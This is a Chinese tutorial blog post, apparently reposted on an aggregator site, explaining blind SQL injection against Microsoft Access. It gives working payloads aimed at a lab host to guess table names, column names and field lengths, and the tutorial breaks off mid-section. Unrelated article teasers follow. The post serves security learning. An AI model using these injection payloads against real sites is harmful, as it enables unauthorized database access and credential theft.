微软数据库的SQL注入漏洞解析——Microsoft Access、SQLServer与SQL注入防御

说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《‌中华人民共和国网络安全法》‌及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】 。

MySQL数据库的SQL注入漏洞解析icon-default.png?t=O83Ahttps://blog.csdn.net/xiaochenXIHUA/article/details/141974766?spm=1001.2014.3001.5501 

一、SQL注入常见流程

1.1、寻找SQL注入点

        一般进行SQL注入前,都需要对这些数据库所对应的程序寻找注入点,常见的SQL注入点一般存在于参数输入、输出的位置(如:注册登录、不同页码、参数内容的数据查询、不同页面切换、留言版等内容)。

        SQL注入漏洞的检测方法:【单引号】【or 1=1】【and 1=2】。

        SQL注入的常见位置:http头、cookies、user agent,post提交数据位置;与数据库交互的相关界面(如:注册登录、数据查询展示界面等)。

1.2、SQL注入常见流程

        【1、获取数据库】-->【2、获取数据库对应的表】-->【3、获取数据库表的字段】-->【4、获取字段内容】-->【5、获取账号密码登内容后进行对应的数据库操作(提权、控制、脱库等一切操作)】。

二、Microsoft Access数据库SQL注入

        我们获取到程序的可能注入点,然后使用SQL注入内容进行注入测试(如添加';and 1=1#等内容进行测试看是否报错)。由于access数据库没有其他可以用于存储基础数据的明显库内容(如mysql5.0及其之上版本具有的infomation_schema库【mysql5.0之前的版本没有记录数据库基础数据的库,也只能靠暴力猜解】)所以我们对于access库只能够暴力猜解,一般使用工具进行,如下将介绍手工测试access数据库的SQL注入原理。

2.1、猜解表名称

# 猜解表名称语句(existes表示判断该表是否存在,如果返回错误信息则表示我们猜测的表名称不对,切换另一个表名称继续测试)
and exists(select * from 盲猜的表名称) #

# 示例
192.168.3.212/custom.asp?id=4 and exists(select * from users) #
192.168.3.212/custom.asp?id=4 and exists(select * from peopleinfo) #

2.2、猜解字段名称

# 猜解表的字段语句(返回正常则表示猜测的表字段名称存在,否则换另一个名称继续测试)
and exists(select 需猜测的表字段名称 from 确定有的表名称)#

# 示例:
192.168.3.212/custom.asp?id=4 and exists(select username from users)#

192.168.3.212/custom.asp?id=4 and exists(select password from users) -- 

2.3、猜解字段数据长度

猜解字段的数据长度主要是为了给下面使用ASCII码猜解字段内容使用

# 采集字段数据长度
and (select top 1 len(字段名称) from 表名称)>字段长度

# 示例
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>2    //正常
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>4    //正常
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>5    //错误(表明该users表的username字段第一行的内容长度是5)

2.4、猜解字段数据内容(低效)

        使用截取字符串函数截取单个字母的ASCII码内容猜解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/878656.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

pytorch快速入门(一)—— 基本工具及平台介绍

前言 该pytorch学习笔记应该配合b站小土堆的《pytorch深度学习快速入门教程》使用 环境配置:Anaconda Python编译器:pycharm、jupyter 两大法宝函数 dir():知道包中有什么东西(函数 / 属性..…

llama网络结构及源码

目录 模型初始化 config lm_head transformer wte h rms_1/rms_2 attn c_attn c_proj 线性层mlp ln_f rope_cache mask_cache kv_caches tokenizer tokenizer初始化 tokennizer.encoder 位置编码和mask 确定最大文本长度 建立rope_cache 建立mask_cache …

信奥初赛解析:1.1-计算机概述

目录 前言 知识要点 一、发展史 二、计算机的分类 三、计算机的基本特征 四、计算机的应用 课堂练习 题目列表 定项选择题 不定项选择题 参考答案 定项选择题 不定项选择题 前言 从今天开始,我们要重点讲初赛内容, 预计讲半年,信…

Linux下编译Kratos

本文记录在Linux下编译Kratos的流程。 零、环境 操作系统Ubuntu 22.04.4 LTSVS Code1.92.1Git2.34.1GCC11.4.0CMake3.22.1Boost1.74.0oneAPI2024.2.1 一、依赖与代码 1.1 安装依赖 apt-get update apt-get install vim openssh-server openssh-client ssh \build-essential …

Oracle发邮件功能:设置的步骤与注意事项?

Oracle发邮件配置教程?如何实现Oracle发邮件功能? Oracle数据库作为企业级应用的核心,提供了内置的发邮件功能,使得数据库管理员和开发人员能够通过数据库直接发送邮件。AokSend将详细介绍如何设置Oracle发邮件功能。 Oracle发邮…

电气自动化入门01:电工基础

视频链接:1.1 电工知识:电工基础_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1PJ41117PW?p2&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 1.电能和电力系统 2.电工常用物理量及其应用 2.1电阻: 2.2电流: 2.3电压&…

面试官问:请描述一次你成功解决问题的经历?

面试官为什么要这么问? 面试官问你描述一次成功解决问题的经历,主要是为了评估你的几个关键方面: 问题解决能力:了解你在面对挑战时的思维方式和应对策略。 决策能力:考察你在压力下做出明智决定的能力。 沟通技巧&am…

Python 全栈系列271 微服务踩坑记

说明 这个坑花了10个小时才爬出来 碰到一个现象:将微服务改造为并发后,请求最初很快,然后就出现大量的失败,然后过一会又能用。 过去从来没有碰到这个问题,要么是一些比较明显的资源,或者逻辑bug&#xff0…

使用Python生成多种不同类型的Excel图表

目录 一、使用工具 二、生成Excel图表的基本步骤 三、使用Python创建Excel图表 柱形图饼图折线图条形图散点图面积图组合图瀑布图树形图箱线图旭日图漏斗图直方图不使用工作表数据生成图表 四、总结 Excel图表是数据可视化的重要工具,它通过直观的方式将数字信…

CesiumJS+SuperMap3D.js混用实现可视域分析 S3M图层加载 裁剪区域绘制

版本简介: cesium:1.99;Supermap3D:SuperMap iClient JavaScript 11i(2023); 官方下载文档链家:SuperMap技术资源中心|为您提供全面的在线技术服务 示例参考:support.supermap.com.cn:8090/w…

嵌入式鸿蒙系统开发语言与开发方法分析

大家好,今天主要给大家分享一下,HarmonyOS系统的主力开发语言ArkTS语言开发方法,它是基于TypeScript(简称TS)语言扩展而来。 第一:ArkTS语言基本特性 目的:声明式UI,让开发者以更简洁,更自然的方式开发高性能应用。 声明式 UI基本特性: 基本UI描述:ArkTS定义了各种装饰…

Docker-compose:管理多个容器

Docker-Compose 是 Docker 公司推出的一个开源工具软件,可以管理多个 Docker 容器组成一个应用。用户需要定义一个 YAML 格式的配置文件 docker-compose.yml,写好多个容器之间的调用关系。然后,只要一个命令,就能同时启动/关闭这些…

Jenkins部署若依项目

一、配置环境 机器 jenkins机器 用途:自动化部署前端后端,前后端自动化构建需要配置发送SSH的秘钥和公钥,同时jenkins要有nodejs工具来进行前端打包,maven工具进行后端的打包。 gitlab机器 用途:远程代码仓库拉取和…

HTML5超酷炫的水果蔬菜在线商城网站源码系列模板1

文章目录 1.设计来源1.1 主界面1.2 商品列表界面1.3 商品详情界面1.4 其他界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载 作者:xcLeigh 文章地址:https://blog.csdn.net/weixin_43151418/article/details/142059238 HTML5超酷炫的水果蔬菜在线商城网…

动手学习RAG: moka-ai/m3e 模型微调deepspeed与对比学习

动手学习RAG: 向量模型动手学习RAG: moka-ai/m3e 模型微调deepspeed与对比学习动手学习RAG:迟交互模型colbert微调实践 bge-m3 1. 环境准备 pip install transformers pip install open-retrievals注意安装时是pip install open-retrievals,但调用时只…

【Mac】系统环境配置

常用工具 Navicat PJ版本:this Host切换器 SwitchHosts termius 一款好用的Linux服务器连接工具: termius 小飞机 dddd:🪜 Git mac安装git有好多种方式,自带的xcode或者通过Homebrew来安装,本文的…

人工智能开发实战matplotlib库应用基础

内容导读 matplotlib简介绘制直方图绘制撒点图 一、matplotlib简介 matplotlib是一个Python 2D绘图库,它以多种硬拷贝格式和跨平台的交互式环境生成高质量的图形。 matplotlib 尝试使容易的事情变得更容易,使困难的事情变得可能。 我们只需几行代码…

Qt ORM模块使用说明

附源码:QxOrm是一个C库资源-CSDN文库 使用说明 把QyOrm文件夹拷贝到自己的工程项目下, 在自己项目里的Pro文件里添加include($$PWD/QyOrm/QyOrm.pri)就能使用了 示例test_qyorm.h写了表的定义,Test_QyOrm_Main.cpp中写了所有支持的功能的例子: 通过自动表单添加…

C++ ——string的模拟实现

目录 前言 浅记 1. reserve(扩容) 2. push_back(尾插) 3. iterator(迭代器) 4. append(尾插一个字符串) 5. insert 5.1 按pos位插入一个字符 5.2 按pos位插入一个字符串 …

CleanClip for Mac 剪切板 粘贴工具 历史记录 安装(保姆级教程,新手小白轻松上手)

CleanClip:革新macOS剪贴板管理体验 目录 功能概览 多格式历史记录保存智能搜索功能快速复制操作拖拽功能 安装指南 前期准备安装步骤 配置与使用 功能概览 多格式历史记录保存 CleanClip支持保存文本、图片、文件等多种格式的复制历史记录,为用户提…